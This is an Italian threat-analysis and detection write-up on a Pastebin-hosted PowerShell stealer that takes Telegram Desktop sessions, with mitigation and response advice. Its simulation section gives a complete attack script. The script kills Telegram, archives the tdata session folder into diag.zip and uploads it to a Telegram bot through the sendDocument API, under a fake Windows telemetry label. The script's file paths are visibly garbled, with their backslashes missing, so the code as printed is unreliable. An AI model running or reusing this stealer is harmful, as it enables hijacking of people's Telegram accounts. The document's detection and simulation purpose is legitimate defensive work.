Dentro un Ladro di Sessioni Telegram: Come uno Script PowerShell Ospitato su Pastebin Prende di Mira le Sessioni Desktop e Web

Riassunto

Uno script PowerShell malevolo ospitato su Pastebin si spaccia per un aggiornamento di Windows mentre ruba dati di sessione di Telegram Desktop dai sistemi infetti. Lo script raccoglie i dettagli dell’host, comprime il tdata directory di Telegram ed esfiltra l’archivio risultante tramite l’API del Bot di Telegram. I ricercatori hanno anche identificato un ladro basato sul web progettato per catturare le chiavi di autenticazione di Telegram Web e inoltrarle a un collettore HTTP locale. Entrambi gli strumenti si basano sullo stesso bot di Telegram per le notifiche, anche se le prove disponibili suggeriscono che rimangono in fase di test piuttosto che in uso operativo ampio.

Indagine

Gli analisti hanno recuperato due varianti di script ospitate su Pastebin, scoperto token di bot codificati e chat ID, e ricostruito l’intero processo di esfiltrazione. Durante l’esecuzione, lo script termina Telegram.exe, archivia la tdata cartella e carica il file ZIP tramite il metodo API sendDocument del bot. La telemetria del bot ha anche esposto un ladro separato focalizzato sul web che ha trasmesso chiavi di autenticazione MTProto a un collettore privato ospitato su 192.168.137.131:5000. Complessivamente, i risultati indicano test funzionali e convalida piuttosto che una campagna matura e su larga scala.

Mitigazione

Le organizzazioni che non richiedono Telegram dovrebbero bloccare il traffico in uscita verso api.telegram.org e infrastrutture correlate di Telegram. I difensori dovrebbero monitorare PowerShell per l’uso di Invoke-RestMethod or WebClient mirati agli endpoint dell’API di Telegram e rilevare archivi ZIP creati in directory temporanee che contengono tdata contenuti. Qualsiasi token di bot esposto deve essere immediatamente revocato e sostituito per prevenire ulteriori abusi.

Risposta

Se lo script viene scoperto, terminare il processo PowerShell associato e rimuovere eventuali diag.zip archivi generati. Revocare tutte le sessioni attive di Telegram collegate all’account compromesso e abilitare l’autenticazione a due fattori per ridurre il rischio di accesso continuato. Il token del bot dovrebbe essere cambiato e la chat del bot collegata dovrebbe essere controllata per evidenziare dati esfiltrati. Un’indagine forense più ampia dovrebbe anche confermare se sono stati raccolti ulteriori credenziali o materiali di sessione.

Esecuzione di Simulazione

Prerequisito: Il controllo preliminare di Telemetria e Baseline deve essere superato.

Razionale: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per innescare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e puntano a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrazione e Comandi dell’Attacco:

  1. Ricognizione: L’attaccante interroga api.ipify.org per scoprire l’IP pubblico dell’host (utilizzato in seguito per il logging).
  2. Interruzione del Servizio: Ferma il processo legittimo di Telegram Desktop per garantire che i file non siano bloccati.
  3. Raccolta Dati: Copia ricorsivamente la directory tdata di Telegram Desktop (file di sessione) in una posizione temporanea.
  4. Archiviazione: Comprimi i dati raccolti in diag.zip.
  5. Esfiltrazione: Invia l’archivio a un Bot Telegram malevolo tramite Invoke‑RestMethod.
  6. Pulizia: Elimina l’archivio temporaneo e, eventualmente, riavvia Telegram.

• Script di Test di Regressione: Esegue l’intera catena di attacco in un singolo comando PowerShell (adatto alla regola di rilevamento).

  # Aggiornamento Telemetria Windows – Ladro di Sessioni Telegram
  $ip = (Invoke-RestMethod -Uri "http://api.ipify.org").Content;
  Stop-Process -Name Telegram -Force;
  $src = "$env:APPDATATelegram Desktoptdata";
  $dst = "$env:TEMPdiag";
  Copy-Item -Path $src -Destination $dst -Recurse -Force;
  Compress-Archive -Path $dst* -DestinationPath "$env:TEMPdiag.zip" -Force;
  $botToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11";
  $chatId = "987654321";
  Invoke-RestMethod -Uri "https://api.telegram.org/bot$botToken/sendDocument?chat_id=$chatId" -Method Post -InFile "$env:TEMPdiag.zip" -ContentType "multipart/form-data";
  Remove-Item -Path "$env:TEMPdiag.zip" -Force;

• Comandi di Pulizia: Ripristina l’ambiente allo stato originale.

  # Riavvia Telegram (se desiderato) e rimuove i dati copiati
  Start-Process -FilePath "$env:ProgramFilesTelegram DesktopTelegram.exe" -WindowStyle Hidden;
  Remove-Item -Path "$env:TEMPdiag" -Recurse -Force;